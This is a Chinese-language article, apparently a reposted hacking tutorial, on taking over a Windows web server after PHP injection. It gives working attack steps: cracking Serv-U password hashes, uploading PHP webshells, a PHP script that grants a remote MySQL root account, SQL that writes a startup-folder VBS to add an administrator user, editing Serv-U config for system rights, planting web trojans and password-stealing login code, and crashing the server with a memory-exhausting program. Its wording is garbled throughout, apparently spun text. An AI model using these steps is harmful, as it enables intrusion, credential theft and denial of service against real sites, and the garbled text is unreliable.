很强的php注入后的提权pc软件 文章资讯 手机软件

您当前的位置→图文中心安全防范很强的php注入后的提权

很强的php注入后的提权


2009/5/15  编辑:佚名 来源:本站整理  关键词:

很强的php注入后的提权

 

方法一:爆破法.

最显眼的要属用户名和密码了, 关键是怎么才能破密码呢?到网上搜了一个特意破SERV-U密码的必备工具(Serv-UPassCrack1.0a.rar), 太慢了, 这要等到何年何月啊!干脆用记事本打开它的脚本crack.vbs.看看解密原理:假设本来明文密码用"password_mingwen"表示, 密文密码也就是我们我自己就在ServUDaemon.ini中看到的密码(34位), 用"password_miwen"表示,密文的前两位合并上明文, 之后经MD5加密后正好等于密文的后三十二位!】

即:md5(password_mingwen+left(password_miwen,2)=right(password_miwen,32)俗话说的好啊, "工欲善其事, 必先利其器"就在网上找了两上绝配的必备工具!一个是MD5CrackSpV2.3(速度增强版,一个非常好用的MD5爆破必备工具), 另一个是字典专家.BBSt,利用它我们我自己可以能够生成前两位为我们我自己指定字母的字典!!MD5CrackSpV2.3速度奇快,我们我自己可以能够指定开的线程数,我就在P4,256M内存环境下做了一个测试,利用字典专家.BBSt生成一个含3亿条记录,1.2G左右的字典,用MD5CrackSpV2.3开8线程跑,总共用了30分钟!一个线程一秒钟跑大约2万条记录,8个线程一秒钟,就是16万条记录!!照此计算一台机器一天就能跑约138亿条记录!假如有十台P4连合作业,威力无穷啊!同一个时间就在网上看到消息说山东大学已经研究出来了破解MD5的算法!但是没有去寻找到具体的程序, 程序一旦出世,密而不密,恐怕很多网站又要遭殃了!!

方法二:程序法.

就在c:\ProgramFiles\Serv-U\ServUDaemon.ini文件程序中共有十多位用户, 其中有一个的用户目录:"d:\s***n\a***lover\photo\gallery"吸引了我。 立即就在浏览器中打上http://www.*****.net/a***lover/photo/gallery出现如下提示:"ThisVirtualDirectorydoesnotallowcontentstobelisted", 就在试试它的上一级目录看看:http://www.*****.net/a***lover/photo/真是山重水复疑无路, 柳暗花明又一村啊!本来就在机子里还藏着个某某网络net相册.

最先是注册个用户进去看看, 有图片PHOTO上传功能啊, 抓包看看是否存就在有类似动网UPFILE的漏洞, 用NC提交后失败了, 上传类型还是图片PHOTO文件程序, 又是那句话:"此路不通"。 利用CASI查看http://www.*****.net/a***lover/photo/index.php的文件程序内容得知:程序中文名称:文本图片PHOTO管理程序程序英文名称:NEATPIC版本:2.0.13BETA, 老规矩先到网上下个研究研究就在说。 经过分析目录结构发现就在:database/user.php文件程序用于存放用户名密码等注册信息!用CASI打开:http://www.*****.net/a***lover/photo/database/user.php显示无文件程序内容!难道是默认目录不对?!管理员把目录改了!!看配置文件程序:http://www.*****.net/a***lover/photo/inc/config.inc.php发现:
//参数布置设置
//*********************************
$DataDir="database678";//杂项数据信息存放目录
$CatDir="second";//二级分类数据信息存放目录
$SortDir="main";//分类数据信息文件程序存放目录
$PicRecordDir="picdata";//图片PHOTO数据信息总目录
$PicDir="pic";//图片PHOTO文件程序存放目录
$SPicDir="spic";//缩略图存放目录
$CommentDir="comment";//图片PHOTO评论目录
$UserDat="user.php";//用户数据信息文件程序
$Dat="dat.php";//相册数据信息文件程序

一、上传PHPSHELL, 控制MYSQL数据信息库

可以通过ServUDaemon.ini文件程序中的Access1=D:\s***n\a***lover\photo\gallery|RWAMLCDP知道该用户具有:读取(R), 写入(W), 追加(A)等功能, 唯独缺少了"执行(E)"功能!利用PUT命令上传一个一句话的WebShell上去.就在浏览器中运行http://www.*****.net/a***lover/photo/gallery/webshell.php?cmd=dir,出现:
Warning:passthru():Unabletofork[dir]inD:\s***n\a***lover\photo\gallery\webshell.phponline1
看来外部命令不能够执行,管理员一定作了相应布置设置.再上传一个phpinfo.php文件程序就在浏览器中运行:http://www.*****.net/a***lover/photo/gallery/phpinfo.php,这时就在php.ini变量的布置设置都显示出来了(当然也您可以能够利用CASI看c:\windows\php.ini的内容)!外部命令不能够执行的原因就在此:

 引用内容

safe_mode
Off
Off

safe_mode_exec_dir
no value
no value

safe_mode_gid
Off
Off

safe_mode_include_dir
no value
no value


接下来上传一个我自己编的只带有浏览, 拷贝, 重命名, 删除文件程序和上传文件程序五个功能的PHPSHELL:CMD.PHP

注: 由于时间仓促代码界面没优化好, 就在dir文本框中输入要浏览的目录名称;copy文本框中,上面输入源文件程序如d:\web\cmd.php, 下面输入目标 文件程序如d:\web\cmdbak.php;del文本框中输入要删除的文件程序名如:d:\web\cmdbak.php;ren命令与copy命令相似; 点浏览按钮按键,选择中您要上传的文件程序,之后点upload按钮按键,就上传到与本SHELL相同的目录下了.

运行: http://www.*****.net/ a***lover/photo/gallery/cmd.php,利用dir命令,可以能够看D盘,C:\windows,以及C:\Program Files下的内容,而且对D盘还是有写权限!就在可以通过copy命令把想下载的软件考到WEB目录下下载下来了^_^

怎么才能才能把文件程序写到只读的C盘上呢?这就要可以通过MYSQL了!但是MYSQL没有远程连载啊!没有条件创造条件,看文章系统system的配置文件程序config.inc.php的内容了吗?
$dbhost="localhost";//数据信息库主机名
$dbuser="root";//数据信息库用户名
$dbpass="******";//数据信息库密码
$dbname="article";//数据信息库名

数据信息库用户名和密码都知道了, 可惜的是本地用户, 然而我们我自己能不能够可以通过本地有最高权限用户root来添加个远程用户呢?答案是肯定的。

为此特意写了个程序adduser.php利用已知的有ROOT权限的帐号添写加远程ROOT权限的帐号, 内容如下:

 引用内容

$dbh=mysql_connect('localhost:3306','root','*****');//
echo mysql_errno().": ".mysql_error()."
";
mysql_select_db('mysql');
echo mysql_errno().": ".mysql_error()."
";
$query="GRANT ALL PRIVILEGES ON *.* TO username@'%'IDENTIFIED BY 'password'
WITH GRANT OPTION";
$res=mysql_query($query, $dbh);
echo mysql_errno().": ".mysql_error()."
";
$err=mysql_error();
if($err){
echo "ERROR!";
}
else{
echo "ADD USER OK!";
}
?>


利用cmd.php上传adduser.php执行后, 就就在库中添加了一个远程ROOT帐号, 就可以能够用CASI带的MYSQL连载器连上了!!它可以能够把MYSQL库关了!!用牛族可方便的浏览表中的记录!!如下图:带%号的用户为添加的远程用户。

二:权限的提高水平
FTP是ServU5.0.0.4又有用户名和密码,自然会想到是否存就在益处, 就在网上搜个必备工具sftp

行Sftp -I 211.92.***.*** -u b*****b -p ****** -t 1 -o 1 -p 21后没有溢出成功 www.arpun.com , 看来是管理员打了补丁!哪只好想别的办法了!(-I 表示ip地址,-u 用户名,-p 密码-o操作系统system类型,-p 端口号) 以下总结了几种提高水平权限的方法供大参考:

方法一、打开牛族MYSQL连载器, 就在命令行上输入:
user download;
create table cmdphp (cmd TEXT);
insert into cmdphp values("set wshshell=createobject(\"wscript.shell\")");
insert into cmdphp values("a=wshshell.run(\"cmd.exe /c net user hello hello\",0)");
insert into cmdphp values("b=wshshell.run(\"cmd.exe /c net user localgroup administrators hello /add\",0)");
select * from cmdphp into outfile "c:\\Documents and Settings\\Administrator\\[现在开始]菜单\\程序\\启动\\cmdphp.vbs";
注 意:就在路径中要用"\\"而不是"\", 要加双引号时, 前面必需加"\"。

原理是:我们我自己就在download数据信息库中, 建了一个表cmdphp, 表中共一个 字段cmd, 我们我自己把要执行的命令写到表中, 之后就在就在表中导出到启动菜单中!这样只要一重起后, 我们我自己就一定会得到一个管理员级的用户hello了。 d:\ s***n\a***lover\photo\gallery

方法二、修改SERV-U的文件程序ServUDaemon.ini中的相应内容:

Password=hq50AAF4CB3FA4EF89C9E9D605B20B2971
HomeDir=c:\
RelPaths=1
TimeOut=600
Access1=D:\s***n\ a***lover\photo\gallery |RWAMELCDP
Maintenance=System
SKEYValues=

把密码换成我们我自己知道的密码, 把主目录换成c:\, Access1后的目录可以能够不用换, 这样使管理员就在SERV-U里看起来还是以前的目录名, |RWAMELCDP这一串是关键, 我们我自己比以前多加了一个"E"代表我们我自己有"执行"权限, Maintenance=System表示我们我自己的身份是管理员。

就在本地布置设置好后, 就现在开始想办法, 替换掉它的文件程序?最先是, 利用我的哪个cmd.。 php SHELL的上传文件程序功能, 先把它上传到d:\s***n\a***lover\photo\gallery目录(上传成功后文件程序与SHELL就在同一个目 录)下, 同样再打开牛族MYSQL连载器:
user download;
create table servu (cmd TEXT);
load data infile "d:\\s***n\\a***lover\\photo\\gallery\\ServUDaemon.ini;
select * from servu into outfile "C:\Program Files\Serv-U\ServUDaemon.ini";

条件是SERV-U重新启动后, 我们我自己的哪个用户就是管理员了, 而且就在C盘根目录下具有可执行权限。 登上SERV-U服务器上执行如下命令:
quote site exec net.exe user hello hello /add
quote site exec net.exe localgroup administrators hello /add

这样我们我自己就得到了一个管理员级的用户hello。 如果没有开3389我们我自己可以能够利用PUT上传给它上传个3389.EXE,之后用quote执行后, 就可以能够用 3389登录器连载了!同样我们我自己也可以能够利用另外一个小必备工具xyzcmd.exe就在dos下登录, 会得到一个CMDSHELL.

方法三:由于管理员就在PHP.INI中做了一些限制, 上传的PHPSHELL没法执行外部命令

利用CMD.PHP的浏览命令, 您可以能够就在它的上面去寻找到它的PHP和SERV- U的安装程序, DOWN下来, 就在本机上模拟它的环境, 配置我自己的PHP.INI文件程序, 使它能够执行外部命令, 解释ASP和CGI, 之后利用方法二替换掉它 的PHP.INI文件程序。 也有个条件就是WEB重新启动后才能生效。 我们我自己有请求需要一个小东西-FPIPE.EXE端口重定向必备工具!fpipe -v -l 5210 -s 5209 -r 43958 127.0.0.1(把本机的43958端口, 可以通过5209端口, 转发到5210端口)打开您本地SERV-U添加一台服务器, 来连载5210,填上服务 器IP, 监听端口号5210, 填上帐户和密码!  user:LocalAdministratorpass:#l@$ak#.lk;0@P全部搞定后, 来连载SERV-U, 连载成功后, 我们我自己就对此服务器SERV-U有了完全控制权限!之后登录上 SERV-U加管理员用户就OK了!

方法四:社会工程学加网页木马!

就在04年黑防第6期我的网友朋友血汉的《网页木马让您肉鸡成群》一文中, 讲了许多 做木马的方法, 就在这里就不啰嗦了, 省的老独说转稿费, 哈哈!把"马"传上去后, 可以能够就在论坛里发个贴子, 如"管理员我发现了此网站一个漏洞!"或"管理员我 对网站有几点主张"估计不久真的会成为"养鸡专业户了"。 主张一定不要改人家的主页首页, 一来不好, 二来如果挂就在主页首页上, 管理员看到后不一定会点开!还是有更隐蔽的 一招, 就是修改源程序(估计一般管理员将不会没事读源程序吧^_^), 去寻找到网站登录的程序, 加一段程序, 可以能够根据记录ID来判断是管理员, 如果是把他的密码(就在 如MD5加密前)插入到您的信箱或qq等字段中, 这样您可以能够打开您的用户资料来看了!!

接下来谈谈怎么才能叫服务器重起:

方法一、我非常主张用的方法哪就是dos攻击!
方法二、如果您上传的SHELL能执行命令!可以能够传一个很不复杂的C程序, 让它会一直不断地MALLOC分配配置内存, 而且不FREE。
#i nclude
#i nclude
main()
{for(; ;) malloc(0xffffff);}
方法三、如果一些网站是PHP的不能够执行外部命令(我们我自己上传上去的可执行文件程序不能够运行)!

相关文章
  • 干将莫邪值得买吗?新英雄刚出来都很强你懂的
  • 关凤很强
  • 很强的php注入后的提权
  • 发表评论
    阅读排行
    相关热门
    网站帮助 - 广告合作 - 下载声明 - 网站地图